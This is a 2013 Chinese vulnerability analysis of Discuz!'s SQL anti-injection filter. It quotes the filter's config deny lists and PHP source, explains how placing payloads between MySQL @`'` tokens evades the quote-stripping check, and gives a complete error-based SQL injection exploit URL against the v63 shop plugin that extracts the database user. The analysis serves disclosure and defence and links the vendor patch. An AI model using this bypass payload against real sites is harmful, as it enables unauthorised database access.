Discuz防注入函數(shù)繞過方法分析
分析人:晴天小鑄,Seay
分析時間:2013年03月20日
discuz介紹:
Crossday Discuz! Board(以下簡稱 Discuz!,中國國家版權(quán)局著作權(quán)登記號 2006SR11895)是康盛創(chuàng)想(北京)科技有限公司(英文簡稱Comsenz)推出的一套通用的社區(qū)論壇軟件系統(tǒng),用戶可以在不需要任何編程的基礎(chǔ)上,通過簡單的設(shè)置和安裝,在互聯(lián)網(wǎng)上搭建起具備完善功能、很強(qiáng)負(fù)載能力和可高度定制的論壇服務(wù)。Discuz! 的基礎(chǔ)架構(gòu)采用世界上最流行的 web 編程組合 PHP+MySQL 實(shí)現(xiàn),是一個經(jīng)過完善設(shè)計(jì),適用于各種服務(wù)器環(huán)境的高效論壇系統(tǒng)解決方案。
DIscuz v63積分插件被爆注入漏洞,某互聯(lián)網(wǎng)公司公布了一個的繞過discuz防注入函數(shù)的“方法”,鏈接http://bbs.webscan.#/forum.php?mod=viewthread&tid=5373。事實(shí)上文章中說的“/*”會被discuz攔截。并沒有繞過,SafeKey Team分析了某互聯(lián)網(wǎng)公司披露的discuz v63積分商城插件注入漏洞,發(fā)現(xiàn)discuz本身的防注入機(jī)制可以被繞過,且無限制。
Discuz防注入分析如下:
先看防注入配置:
- $_config['security']['querysafe']['status'] = 1; // 是否開啟SQL安全檢測,可自動預(yù)防SQL注入攻擊
- $_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char');
- $_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select', 'unionall', 'uniondistinct');
- $_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');
- $_config['security']['querysafe']['dlikehex'] = 1;
- $_config['security']['querysafe']['afullnote'] = 0;
Discuz 執(zhí)行SQL語句之前會調(diào)用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck類下面的checkquery($sql)函數(shù)進(jìn)行過濾。但是過濾并不嚴(yán)謹(jǐn),我們發(fā)現(xiàn)可以繞過改防注入函數(shù)。
- public static function checkquery($sql) {
- if (self::$config === null) {
- self::$config = getglobal('config/security/querysafe');
- }
- if (self::$config['status']) {
- $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
- if (in_array($cmd, self::$checkcmd)) {
- $test = self::_do_query_safe($sql);
- if ($test < 1) {
- throw new DbException('It is not safe to do this query', 0, $sql);
- }
- }
- }
- return true;
- }
上面的if (self::$config['status']) {判斷有木有開啟防注入。最終會self::_do_query_safe($sql);
調(diào)用 _do_query_safe()函數(shù)。跟進(jìn)該函數(shù),在同文件的363行。
- private static function _do_query_safe($sql) {
- $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);
- $mark = $clean = '';
- if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
- $clean = preg_replace("/'(.+?)'/s", '', $sql);
- } else {
- $len = strlen($sql);
- $mark = $clean = '';
- for ($i = 0; $i < $len; $i++) {
- $str = $sql[$i];
- switch ($str) {
- case '\'':
- if (!$mark) {
- $mark = '\'';
- $clean .= $str;
- } elseif ($mark == '\'') {
- $mark = '';
- }
- break;
- case '/':
- if (empty($mark) && $sql[$i + 1] == '*') {
- $mark = '/*';
- $clean .= $mark;
- $i++;
- } elseif ($mark == '/*' && $sql[$i - 1] == '*') {
- $mark = '';
- $clean .= '*';
- }
- break;
- case '#':
- if (empty($mark)) {
- $mark = $str;
- $clean .= $str;
- }
- break;
- case "\n":
- if ($mark == '#' || $mark == '--') {
- $mark = '';
- }
- break;
- case '-':
- if (empty($mark) && substr($sql, $i, 3) == '-- ') {
- $mark = '-- ';
- $clean .= $mark;
- }
- break;
- default:
- break;
- }
- $clean .= $mark ? '' : $str;
- }
- }
- $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));
- if (self::$config['afullnote']) {
- $clean = str_replace('/**/', '', $clean);
- }
- if (is_array(self::$config['dfunction'])) {
- foreach (self::$config['dfunction'] as $fun) {
- if (strpos($clean, $fun . '(') !== false)
- return '-1';
- }
- }
- if (is_array(self::$config['daction'])) {
- foreach (self::$config['daction'] as $action) {
- if (strpos($clean, $action) !== false)
- return '-3';
- }
- }
- if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
- return '-2';
- }
- if (is_array(self::$config['dnote'])) {
- foreach (self::$config['dnote'] as $note) {
- if (strpos($clean, $note) !== false)
- return '-4';
- }
- }
- return 1;
- }
該防注入函數(shù)的關(guān)鍵繞過代碼在:
- if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
- $clean = preg_replace("/'(.+?)'/s", '', $sql);
- }
- else
- {
在discuz v63積分商城插件注入漏洞exp中并不需要斜杠、#號和—注釋符。所以會執(zhí)行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);原來SQL語句中兩個單引號中間的內(nèi)容就會被替換為空。并不會進(jìn)入到下面的else分支。Else下面的所有操作均是對$clean變量的操作。所以繞過的思路就是把SQL語句放在兩個單引號中間。對于mysql的一個特性,
@`’` 是為空的,所以我們的攻擊語句可以放到兩個@`’`中間,即使GPC開啟,單引號被轉(zhuǎn)義為\’,而@`’`變成@`\’`對注入也是沒有影響的,所以此繞過方法無限制。
即針對該注入漏洞的攻擊EXP為:
- http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`
調(diào)試輸出SQL語句:
可以看到我們的注入語句被替換掉了,所以后面的檢查字符的時候并沒有發(fā)現(xiàn)注入語句。
最終成功利用:
官網(wǎng)補(bǔ)?。篽ttp://www.discuz.net/forum.php?mod=viewthread&tid=3234536